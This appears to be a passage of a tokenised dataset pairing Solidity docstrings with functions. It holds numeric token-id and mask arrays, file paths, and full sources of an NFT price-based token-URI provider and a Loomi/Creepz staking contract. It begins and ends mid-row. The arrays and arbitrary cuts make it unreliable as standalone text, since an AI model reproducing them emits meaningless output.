0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
6103,
12,
11890,
5034,
389,
8949,
13,
1071,
1954,
41,
332,
414,
4334,
288,
203,
3639,
2254,
5034,
2078,
41,
17040,
273,
425,
17040,
18,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
3639,
2254,
5034,
2078,
24051,
273,
2078,
3088,
1283,
5621,
203,
3639,
309,
261,
4963,
24051,
422,
374,
747,
2078,
41,
17040,
422,
374,
13,
288,
203,
5411,
389,
81,
474,
12,
3576,
18,
15330,
16,
389,
8949,
18,
2892,
12,
21,
73,
23,
10019,
203,
5411,
2254,
5034,
4121,
273,
389,
8949,
18,
16411,
12,
4963,
24051,
2934,
2892,
12,
4963,
41,
17040,
1769,
203,
5411,
389,
81,
474,
12,
3576,
18,
15330,
16,
4121,
1769,
203,
3639,
289,
203,
3639,
425,
17040,
18,
13866,
1265,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
389,
8949,
1769,
203,
203,
3639,
3626,
4214,
329,
12,
3576,
18,
15330,
16,
389,
8949,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xAE5103E2c1BBc487832eBB4820844C8A72F755e2/sources/contracts/ERC721TopLevel.sol | * @dev Restrict an address from being an operator for all/ | function _restrictOperator(address operator) internal {
require(canRestrict, "nnr");
operatorRestrictions[operator] = true;
}
| 17,113,032 | [
1,
29371,
392,
1758,
628,
3832,
392,
3726,
364,
777,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
30604,
5592,
12,
2867,
3726,
13,
2713,
288,
203,
3639,
2583,
12,
4169,
29371,
16,
315,
9074,
86,
8863,
203,
203,
3639,
3726,
26175,
63,
9497,
65,
273,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.6;
// Part: CryptoTraderInterface
interface CryptoTraderInterface {
/**
* Returns a uri for CryptTraderI (BTC) tokens
*/
function btcTokenURI() external view returns (string memory);
/**
* Returns a uri for CryptTraderII (ETH) tokens
*/
function ethTokenURI() external view returns (string memory);
}
// Part: smartcontractkit/[email protected]/AggregatorV3Interface
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
// File: CryptoTraderTokenUriProvider.sol
/**
* Provides token metadata for CryptoTraderI and CryptoTraderII tokens
*/
contract CryptoTraderTokenUriProvider is CryptoTraderInterface {
address owner;
struct PriceRange {
uint256 low;
uint256 high;
string tokenUriUp;
string tokenUriDown;
}
PriceRange[] private btcPriceRanges;
PriceRange[] private ethPriceRanges;
AggregatorV3Interface private btcPriceFeed;
AggregatorV3Interface private ethPriceFeed;
uint80 private roundInterval = 50;
/**
* @dev Public constructor
* _btcPriceFeed - address for the BTC/USD feed mainnet: 0xF4030086522a5bEEa4988F8cA5B36dbC97BeE88c
* _ethPriceFeed - address for the ETH/USD feed mainnet: 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419
*/
constructor(address _btcPriceFeed, address _ethPriceFeed) public {
owner = msg.sender;
btcPriceFeed = AggregatorV3Interface(_btcPriceFeed);
ethPriceFeed = AggregatorV3Interface(_ethPriceFeed);
populateRanges();
}
function populateRanges() private {
btcPriceRanges.push(
PriceRange({
low: 0,
high: 30000,
tokenUriUp: "QmPXt5xgCCYz8BeiYNB46AraVrgEPHMs1bnWhrUCuAa4yp",
tokenUriDown: "QmfTG6WooW25Ry88a6BkBHic6xeVnmuN8DPTuAU5AAeHJv"
})
);
btcPriceRanges.push(
PriceRange({
low: 30001,
high: 40000,
tokenUriUp: "QmUgqXRYm5fy1memqr2d3FfEkpaeoziSNLhLE9sYN6Gd8v",
tokenUriDown: "QmUGVMELqcUjJT2Zk5ED7DgYXfVgu831qMpiNcZL25VQ6r"
})
);
btcPriceRanges.push(
PriceRange({
low: 40001,
high: 65000,
tokenUriUp: "QmP391qVmmweuQouZzC3WQPEkDKmRmbmzq9vyGGNohjBLY",
tokenUriDown: "QmVUFkwMsrpsHYx6dEY2ZDWd3ochrgHJpks5iDLSajHpba"
})
);
btcPriceRanges.push(
PriceRange({
low: 65001,
high: 85000,
tokenUriUp: "QmVJv6iSrM4vjQhuNi4oWiYdFk2MztSspuwuQvP7zzSd41",
tokenUriDown: "QmbvHqmitVN5jpQDwXMc7M9bcABXVLgdSRp1tPVWQeBmyy"
})
);
btcPriceRanges.push(
PriceRange({
low: 85001,
high: 100000,
tokenUriUp: "QmfM2wdvEFNqbGpP4gNUqCfE15i8F4ZbCX2VAS3LHGLTbU",
tokenUriDown: "QmRGQSgJmvgGYpWWTcXytHksGdHfhAu3pcqkNknRj2KTbP"
})
);
btcPriceRanges.push(
PriceRange({
low: 100001,
high: 1000000,
tokenUriUp: "QmZZaoaaLnYPEnwAwymRCWEdevqKTDFq6UdG26FUDwhqds",
tokenUriDown: "QmcJQyteLVZwBAdhdZDSv1itMPT3GeicyRvBXDXNwwa8yJ"
})
);
ethPriceRanges.push(
PriceRange({
low: 0,
high: 2000,
tokenUriUp: "QmYEwKc5P4X5u1GTv8AgGERpLki3feATDPNhXACRR2fSTt",
tokenUriDown: "QmV2MKJDLU6DYsLAnFVUwB5EtyjpYsAcMfK3N4bQT98XoS"
})
);
ethPriceRanges.push(
PriceRange({
low: 2001,
high: 3500,
tokenUriUp: "QmbDcmPrDTM3yxk7eEEMj8cs4vEfYywUwKQUZNwhbEy2Nx",
tokenUriDown: "QmeAHsUnWWXRvPHbYKTmqU6aVyBqEGWQAZYyjL1Uvn4Xen"
})
);
ethPriceRanges.push(
PriceRange({
low: 3501,
high: 5000,
tokenUriUp: "QmW5XvfMo6AmRuFVBkiijZde3rUN76289nGzcMnfuDnbW9",
tokenUriDown: "QmPAWc7Gh56rxLgF9KnQbUXmpX7PutL1eB3yn1Vy3K2VJL"
})
);
ethPriceRanges.push(
PriceRange({
low: 5001,
high: 6500,
tokenUriUp: "QmbaR2251n4J19wVFKJSaZqtntC5oPq4YYKY1WCfot7yPa",
tokenUriDown: "QmewLCu62dim8PbgFeU1vQy6SyKkt1hUvurB3Fe7p3HQeH"
})
);
ethPriceRanges.push(
PriceRange({
low: 6501,
high: 8000,
tokenUriUp: "QmbYtK2WFeD6oWqQBRiayZpLjUFjjFGdP9s1aS2RQtHuzi",
tokenUriDown: "QmTWaiAfRkzWw4rterJaByNE2QcuLcbp7NaprnGSsLiRsk"
})
);
ethPriceRanges.push(
PriceRange({
low: 8001,
high: 100000,
tokenUriUp: "QmSwxyymXnh3jUjr4aWXZLHJKwtsuhUxe9mPsk35as23GB",
tokenUriDown: "Qmf7foHZuHZy8w3Adk1jsQdcS5QpJF1aFhYchdCrQwzEfU"
})
);
}
/**
* get the price for 0: BTC, 1: ETH
*/
function getPrice(uint8 priceType) private view returns (uint256, uint256) {
AggregatorV3Interface feed = priceType == 0
? btcPriceFeed
: ethPriceFeed;
// current price data
(uint80 roundId, int256 answer, , , ) = feed.latestRoundData();
uint256 current = uint256(answer) / (10**uint256(feed.decimals()));
// previous price data
(, int256 prevAnswer, , , ) = feed.getRoundData(
roundId - roundInterval
);
uint256 prev = uint256(prevAnswer) / (10**uint256(feed.decimals()));
return (prev, current);
}
/**
* Return the token uri for the given type BTC=0, ETH=1
*/
function tokenUri(
uint8 priceType,
uint256 prevPrice,
uint256 currentPrice
) private view returns (string memory) {
PriceRange[] memory ranges = priceType == 0
? btcPriceRanges
: ethPriceRanges;
for (uint256 i = 0; i < ranges.length; i++) {
if (
currentPrice >= ranges[i].low && currentPrice <= ranges[i].high
) {
if (prevPrice < currentPrice) {
return
string(
abi.encodePacked(
"https://ipfs.io/ipfs/",
ranges[i].tokenUriUp
)
);
} else {
return
string(
abi.encodePacked(
"https://ipfs.io/ipfs/",
ranges[i].tokenUriDown
)
);
}
}
}
// by default return the middle case, but still check if we're up or down
if (prevPrice < currentPrice) {
return
priceType == 0
? "https://ipfs.io/ipfs/QmP391qVmmweuQouZzC3WQPEkDKmRmbmzq9vyGGNohjBLY"
: "https://ipfs.io/ipfs/QmW5XvfMo6AmRuFVBkiijZde3rUN76289nGzcMnfuDnbW9";
}
return
priceType == 0
? "https://ipfs.io/ipfs/QmVUFkwMsrpsHYx6dEY2ZDWd3ochrgHJpks5iDLSajHpba"
: "https://ipfs.io/ipfs/QmPAWc7Gh56rxLgF9KnQbUXmpX7PutL1eB3yn1Vy3K2VJL";
}
/**
* @dev Adds a BTC price range for the given _low/_high associated with the given
* _tokenURIs.
*
* Requirements:
* Caller must be contract owner
*/
function addPriceRange(
uint8 rangeType,
uint256 _low,
uint256 _high,
string memory _tokenURIUp,
string memory _tokenURIDown
) public {
require(msg.sender == owner, "OCO");
if (rangeType == 0) {
btcPriceRanges.push(
PriceRange({
low: _low,
high: _high,
tokenUriUp: _tokenURIUp,
tokenUriDown: _tokenURIDown
})
);
} else {
ethPriceRanges.push(
PriceRange({
low: _low,
high: _high,
tokenUriUp: _tokenURIUp,
tokenUriDown: _tokenURIDown
})
);
}
}
/**
* @dev updates an ETH price range at the given _index
*
* Requirements:
* Caller must be contract owner
*/
function setPriceRange(
uint256 rangeType,
uint8 _index,
uint256 _low,
uint256 _high,
string memory _tokenURIUp,
string memory _tokenURIDown
) public {
require(msg.sender == owner, "OCO");
if (rangeType == 0) {
btcPriceRanges[_index].low = _low;
btcPriceRanges[_index].high = _high;
btcPriceRanges[_index].tokenUriUp = _tokenURIUp;
btcPriceRanges[_index].tokenUriDown = _tokenURIDown;
} else {
ethPriceRanges[_index].low = _low;
ethPriceRanges[_index].high = _high;
ethPriceRanges[_index].tokenUriUp = _tokenURIUp;
ethPriceRanges[_index].tokenUriDown = _tokenURIDown;
}
}
/**
* @dev Set the round interval (how far back we should look for
* for prev price data. Typically it seems ~50 rounds per day)
* Requirements:
* Only contract owner may call this method
*/
function setRoundInterval(uint80 _roundInterval) public {
require(msg.sender == owner, "OCO");
roundInterval = _roundInterval;
}
/**
* @dev Returns the token metadata URI for CryptoTraderI
*/
function btcTokenURI() public view override returns (string memory) {
(uint256 prevPrice, uint256 currentPrice) = getPrice(0);
return tokenUri(0, prevPrice, currentPrice);
}
/**
* @dev Returns the token metadata URI for CryptoTraderII
*/
function ethTokenURI() public view override returns (string memory) {
(uint256 prevPrice, uint256 currentPrice) = getPrice(1);
return tokenUri(1, prevPrice, currentPrice);
}
/**
* Get the range at index
*/
function getRange(uint8 index, uint8 forType)
external
view
returns (
uint256,
uint256,
string memory,
string memory
)
{
require(forType == 0 || forType == 1, "TYPEERROR");
if (forType == 0) {
require(index < btcPriceRanges.length, "IOB");
return (
btcPriceRanges[index].low,
btcPriceRanges[index].high,
btcPriceRanges[index].tokenUriUp,
btcPriceRanges[index].tokenUriDown
);
} else {
require(index < ethPriceRanges.length, "IOB");
return (
ethPriceRanges[index].low,
ethPriceRanges[index].high,
ethPriceRanges[index].tokenUriUp,
ethPriceRanges[index].tokenUriDown
);
}
}
}
| * @dev Returns the token metadata URI for CryptoTraderI/ | function btcTokenURI() public view override returns (string memory) {
(uint256 prevPrice, uint256 currentPrice) = getPrice(0);
return tokenUri(0, prevPrice, currentPrice);
}
| 5,884,050 | [
1,
1356,
326,
1147,
1982,
3699,
364,
15629,
1609,
765,
45,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
12798,
1345,
3098,
1435,
1071,
1476,
3849,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
261,
11890,
5034,
2807,
5147,
16,
2254,
5034,
783,
5147,
13,
273,
25930,
12,
20,
1769,
203,
3639,
327,
1147,
3006,
12,
20,
16,
2807,
5147,
16,
783,
5147,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
pragma solidity ^0.8.7;
// /$$ /$$ /$$$ /$$$$$$
// | $$ | $$ /$$ $$ /$$__ $$
// | $$ /$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$$ | $$$ | $$ \__/ /$$$$$$
// | $$ /$$__ $$ /$$__ $$ /$$__ $$ /$$_____/ /$$ $$/$$ | $$ /$$__ $$
// | $$ | $$ \ $$| $$ \__/| $$ | $$| $$$$$$ | $$ $$_/ | $$ | $$ \ $$
// | $$ | $$ | $$| $$ | $$ | $$ \____ $$ | $$\ $$ | $$ $$| $$ | $$
// | $$$$$$$$| $$$$$$/| $$ | $$$$$$$ /$$$$$$$/ | $$$$/$$ | $$$$$$/| $$$$$$//$$
// |________/ \______/ |__/ \_______/|_______/ \____/\_/ \______/ \______/|__/
interface ILoomi {
function depositLoomiFor(address user, uint256 amount) external;
function activeTaxCollectedAmount() external view returns (uint256);
}
interface IStaking {
function ownerOf(address contractAddress, uint256 tokenId) external view returns (address);
}
contract LordsAndCo is Ownable, ReentrancyGuard {
// Creepz Contracts
IERC721 public loomiVault;
IERC721 public creepz;
ILoomi public loomi;
IStaking public staking;
// Variables for daily yield
uint256 public constant SECONDS_IN_DAY = 24 * 60 * 60;
uint256 public constant DIVIDER = 10000;
uint256 public baseYield;
// Config bools
bool public isPaused;
bool public creepzRestriction;
struct Staker {
uint256 accumulatedAmount;
uint256 lastCheckpoint;
uint256 loomiPotSnapshot;
uint256[] stakedVault;
}
mapping(address => Staker) private _stakers;
mapping(uint256 => address) private _ownerOfToken;
event Deposit(address indexed staker,uint256 tokensAmount);
event Withdraw(address indexed staker,uint256 tokensAmount);
event Claim(address indexed staker,uint256 tokensAmount);
event WithdrawStuckERC721(address indexed receiver, address indexed tokenAddress, uint256 indexed tokenId);
constructor(
address _loomiVault,
address _loomi,
address _creepz,
address _staking
) {
loomiVault = IERC721(_loomiVault);
loomi = ILoomi(_loomi);
creepz = IERC721(_creepz);
staking = IStaking(_staking);
isPaused = true;
creepzRestriction = true;
baseYield = 500 ether;
}
modifier whenNotPaused() {
require(!isPaused, "Contract paused");
_;
}
/**
* @dev Function for loomiVault deposit
*/
function deposit(uint256[] memory tokenIds) public nonReentrant whenNotPaused {
require(tokenIds.length > 0, "Empty array");
Staker storage user = _stakers[_msgSender()];
if (user.stakedVault.length == 0) {
uint256 currentLoomiPot = _getLoomiPot();
user.loomiPotSnapshot = currentLoomiPot;
}
accumulate(_msgSender());
for (uint256 i; i < tokenIds.length; i++) {
require(loomiVault.ownerOf(tokenIds[i]) == _msgSender(), "Not the owner");
loomiVault.safeTransferFrom(_msgSender(), address(this), tokenIds[i]);
_ownerOfToken[tokenIds[i]] = _msgSender();
user.stakedVault.push(tokenIds[i]);
}
emit Deposit(_msgSender(), tokenIds.length);
}
/**
* @dev Function for loomiVault withdraw
*/
function withdraw(uint256[] memory tokenIds) public nonReentrant whenNotPaused {
require(tokenIds.length > 0, "Empty array");
Staker storage user = _stakers[_msgSender()];
accumulate(_msgSender());
for (uint256 i; i < tokenIds.length; i++) {
require(loomiVault.ownerOf(tokenIds[i]) == address(this), "Not the owner");
_ownerOfToken[tokenIds[i]] = address(0);
user.stakedVault = _moveTokenInTheList(user.stakedVault, tokenIds[i]);
user.stakedVault.pop();
loomiVault.safeTransferFrom(address(this), _msgSender(), tokenIds[i]);
}
emit Withdraw(_msgSender(), tokenIds.length);
}
/**
* @dev Function for loomi reward claim
* @notice caller must own a Genesis Creepz
*/
function claim(uint256 tokenId) public nonReentrant whenNotPaused {
Staker storage user = _stakers[_msgSender()];
accumulate(_msgSender());
require(user.accumulatedAmount > 0, "Insufficient funds");
require(_validateCreepzOwner(tokenId, _msgSender()), "!Creepz owner");
uint256 currentLoomiPot = _getLoomiPot();
uint256 prevLoomiPot = user.loomiPotSnapshot;
uint256 change = currentLoomiPot * DIVIDER / prevLoomiPot;
uint256 finalAmount = user.accumulatedAmount * change / DIVIDER;
user.loomiPotSnapshot = currentLoomiPot;
user.accumulatedAmount = 0;
loomi.depositLoomiFor(_msgSender(), finalAmount);
emit Claim(_msgSender(), finalAmount);
}
/**
* @dev Function for Genesis Creepz ownership validation
*/
function _validateCreepzOwner(uint256 tokenId, address user) internal view returns (bool) {
if (!creepzRestriction) return true;
if (staking.ownerOf(address(creepz), tokenId) == user) {
return true;
}
return creepz.ownerOf(tokenId) == user;
}
/**
* @dev Returns accumulated $loomi amount for user based on baseRate
*/
function getAccumulatedAmount(address staker) external view returns (uint256) {
return _stakers[staker].accumulatedAmount + getCurrentReward(staker);
}
/**
* @dev Returnes pot change from the last user claim
*/
function getPriceChange(address user) public view returns (uint256) {
if (_stakers[user].loomiPotSnapshot == 0) return 0;
uint256 currentLoomiPot = _getLoomiPot();
uint256 change = currentLoomiPot * DIVIDER / _stakers[user].loomiPotSnapshot;
return change;
}
/**
* @dev Returnes $loomi yield rate for user based on baseRate
*/
function getStakerYield(address staker) public view returns (uint256) {
return _stakers[staker].stakedVault.length * baseYield;
}
/**
* @dev Returns array of IDs staked by address
*/
function getStakerTokens(address staker) public view returns (uint256[] memory) {
return _stakers[staker].stakedVault;
}
/**
* @dev Returns current $loomi pot
*/
function getLoomiPot() public view returns (uint256) {
return _getLoomiPot();
}
/**
* @dev Helper function for arrays
*/
function _moveTokenInTheList(uint256[] memory list, uint256 tokenId) internal pure returns (uint256[] memory) {
uint256 tokenIndex = 0;
uint256 lastTokenIndex = list.length - 1;
uint256 length = list.length;
for(uint256 i = 0; i < length; i++) {
if (list[i] == tokenId) {
tokenIndex = i + 1;
break;
}
}
require(tokenIndex != 0, "msg.sender is not the owner");
tokenIndex -= 1;
if (tokenIndex != lastTokenIndex) {
list[tokenIndex] = list[lastTokenIndex];
list[lastTokenIndex] = tokenId;
}
return list;
}
/**
* @dev Returns current $loomi pot
*/
function _getLoomiPot() internal view returns (uint256) {
uint256 pot = loomi.activeTaxCollectedAmount();
return pot;
}
/**
* @dev Returns accumulated amount from last snapshot based on baseRate
*/
function getCurrentReward(address staker) public view returns (uint256) {
Staker memory user = _stakers[staker];
if (user.lastCheckpoint == 0) { return 0; }
return (block.timestamp - user.lastCheckpoint) * (baseYield * user.stakedVault.length) / SECONDS_IN_DAY;
}
/**
* @dev Aggregates accumulated $loomi amount from last snapshot to user total accumulatedAmount
*/
function accumulate(address staker) internal {
_stakers[staker].accumulatedAmount += getCurrentReward(staker);
_stakers[staker].lastCheckpoint = block.timestamp;
}
/**
* @dev Returns token owner address (returns address(0) if token is not inside the gateway)
*/
function ownerOf(uint256 tokenId) public view returns (address) {
return _ownerOfToken[tokenId];
}
function updateCreepzRestriction(bool _restrict) public onlyOwner {
creepzRestriction = _restrict;
}
/**
* @dev Function allows admin withdraw ERC721 in case of emergency.
*/
function emergencyWithdraw(address tokenAddress, uint256[] memory tokenIds) public onlyOwner {
require(tokenIds.length <= 50, "50 is max per tx");
for (uint256 i; i < tokenIds.length; i++) {
address receiver = _ownerOfToken[tokenIds[i]];
if (receiver != address(0) && IERC721(tokenAddress).ownerOf(tokenIds[i]) == address(this)) {
IERC721(tokenAddress).transferFrom(address(this), receiver, tokenIds[i]);
emit WithdrawStuckERC721(receiver, tokenAddress, tokenIds[i]);
}
}
}
/**
* @dev Function allows to pause deposits if needed. Withdraw remains active.
*/
function pause(bool _pause) public onlyOwner {
isPaused = _pause;
}
/**
* @dev Function allows admin to update the base yield for users.
*/
function updateBaseYield(uint256 _yield) public onlyOwner {
baseYield = _yield;
}
function onERC721Received(address, address, uint256, bytes calldata) external pure returns(bytes4){
return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
